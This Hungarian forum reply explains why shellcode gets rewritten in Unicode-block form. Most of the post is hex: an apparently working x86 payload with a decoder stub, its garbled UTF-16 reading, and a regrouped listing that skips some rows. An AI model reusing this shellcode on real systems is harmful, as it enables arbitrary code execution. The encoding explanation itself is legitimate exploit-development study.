Új hozzászólás Aktív témák

• ArchElf addikt

  #1547

  #1541 sonar

  2010-01-07 13:55:01

  Új Válasz

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  

  ArchElf

  addikt

  #1541 sonar

  Szerintem azért van értelme így megjeleníteni, mert ha a hagyományos shellcode-ot konvertálád string-gé, akkor a shellcode-odatat teleszórná nullával (a memóriában az unicode operációs rendszer /illetve unicode program az ascii szöveget úgyis unicode formában tárolja, hacsak nem kényszeríted ki explicite a más módon való tárolást):
  Eredeti shellcode:
  \x31\xC9\x83\xE9\xDE\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\x95
  \xD6\x79\x80\x83\xEB\xFC\xE2\xF4\x69\x3E\x3D\x80\x95\xD6\xF2\xC5
  \xA9\x5D\x05\x85\xED\xD7\x96\x0B\xDA\xCE\xF2\xDF\xB5\xD7\x92\xC9
  \x1E\xE2\xF2\x81\x7B\xE7\xB9\x19\x39\x52\xB9\xF4\x92\x17\xB3\x8D
  \x94\x14\x92\x74\xAE\x82\x5D\x84\xE0\x33\xF2\xDF\xB1\xD7\x92\xE6
  \x1E\xDA\x32\x0B\xCA\xCA\x78\x6B\x1E\xCA\xF2\x81\x7E\x5F\x25\xA4
  \x91\x15\x48\x40\xF1\x5D\x39\xB0\x10\x16\x01\x8C\x1E\x96\x75\x0B
  \xE5\xCA\xD4\x0B\xFD\xDE\x92\x89\x1E\x56\xC9\x80\x95\xD6\xF2\xE8
  \xA9\x89\x48\x76\xF5\x80\xF0\x78\x16\x16\x02\xD0\xFD\x26\xF3\x84
  \xCA\xBE\xE1\x7E\x1F\xD8\x2E\x7F\x72\xB5\x18\xEC\xF6\xD6\x79\x80
  
  Eredeti shellcode, unicode értelmezése:
  \x3100\x4302\xFDFF\xFDFF
  \x2400\xFDFF\x5B00\xFDFF
  \x7900\xFDFF\xFDFF\xFDFF
  \x3E00\x3D00\xFDFF\xFDFF
  \x0500\xFDFF\xFDFF\xD605
  \xF507\xD205\xFDFF\x1E00
  \x1900\x3900\x5200\xFDFF
  \xFDFF\x1400\xFDFF\x7400
  \xFDFF\x3300\xFDFF\xF107
  \x3200\x0B00\xFDFF\xFDFF
  \xFDFF\x7E00\x5F00\x2500
  \x4000\xFDFF\x5D00\x3900
  \xFDFF\x1E00\xFDFF\x7500
  \x0B00\xFDFF\x9207\xFDFF
  \xFDFF\xFDFF\x498A\x4800
  \x7800\x1600\x1600\x0200
  \xBE02\xFDFF\x7E00\x1F00
  
  Eredeti shellcode, unicode blokkokban:
  \x31C9\x83E9\xDED9\xEED9
  \xD679\x8083\xEBFC\xE2F4
  \xA95D\x0585\xEDD7\x960B
  \x1EE2\xF281\x7BE7\xB919
  \x9414\x9274\xAE82\x5D84
  \x1EDA\x320B\xCACA\x786B
  \x9115\x4840\xF15D\x39B0
  \xE5CA\xD40B\xFDDE\x9289
  \xA989\x4876\xF580\xF078
  \xCABE\xE17E\x1FD8\x2E7F

  AE

Új hozzászólás Aktív témák